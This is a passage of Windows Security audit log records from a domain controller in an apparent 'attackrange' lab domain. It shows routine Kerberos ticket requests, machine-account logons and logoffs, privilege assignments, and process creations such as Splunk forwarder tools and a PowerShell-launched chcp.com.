pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250402 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1064 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x12d0 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250401 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x109E39 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250400 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x109E39 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64442 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250399 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x109E39 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250398 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x109DD8 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250397 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x109DD8 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64441 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250396 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x109DD8 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250395 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x109D72 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250394 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x109D72 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64440 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250393 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x109D72 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250392 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x109D11 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250391 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x109D11 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64439 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250390 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x109D11 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250389 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x109999 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250388 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x109999 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {17F20083-7027-6012-0E65-C3D323582E2E} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250387 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {17F20083-7027-6012-0E65-C3D323582E2E} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250386 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {17F20083-7027-6012-0E65-C3D323582E2E} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250385 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250384 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x107F9E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x106c - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1130 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250421 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1040 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-perfmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x12d0 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-perfmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250420 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x10B1E2 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250419 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x10B1E2 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64446 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250418 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x10B1E2 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250417 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x10B157 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250416 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x10B157 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64445 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250415 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x10B157 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250414 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x10B0F0 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250413 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x10B0F0 - Linked Logon ID: 